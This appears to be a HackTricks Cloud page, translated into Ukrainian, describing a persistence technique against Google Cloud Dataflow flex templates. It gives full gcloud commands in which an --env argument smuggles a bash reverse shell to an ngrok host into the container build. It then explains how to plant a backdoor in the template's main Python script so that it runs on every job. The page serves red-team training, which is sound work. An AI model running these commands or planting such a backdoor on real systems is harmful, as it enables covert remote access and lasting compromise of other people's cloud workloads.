GCP - Dataflow Persistence

Вивчайте та вправляйтесь в хакінгу AWS: Школа хакінгу HackTricks для експертів червоної команди AWS (ARTE) Вивчайте та вправляйтесь в хакінгу GCP: Школа хакінгу HackTricks для експертів червоної команди GCP (GRTE)

Підтримайте HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.

• Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.

Dataflow

Невидиме збереження в побудованому контейнері

Виконуючи посібник з документації, ви можете створити новий (наприклад, python) гнучкий шаблон:

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

Поки він будується, ви отримаєте зворотню оболонку (ви можете зловживати змінними середовища, як у попередньому прикладі, або іншими параметрами, які встановлюють файл Docker на виконання довільних дій). У цей момент, всередині зворотньої оболонки, можна перейти до каталогу /template і змінити код основного python-скрипту, який буде виконуватися (у нашому прикладі це getting_started.py). Встановіть свій задній прохід тут, щоб кожного разу, коли виконується завдання, воно виконувалося.

Потім, при наступному виконанні завдання, буде запущений скомпрометований побудований контейнер:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

Вивчайте та практикуйте взлом AWS: Школа HackTricks для експертів червоного команду AWS (ARTE) Вивчайте та практикуйте взлом GCP: Школа HackTricks для експертів червоного команду GCP (GRTE)

Підтримайте HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.

• Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.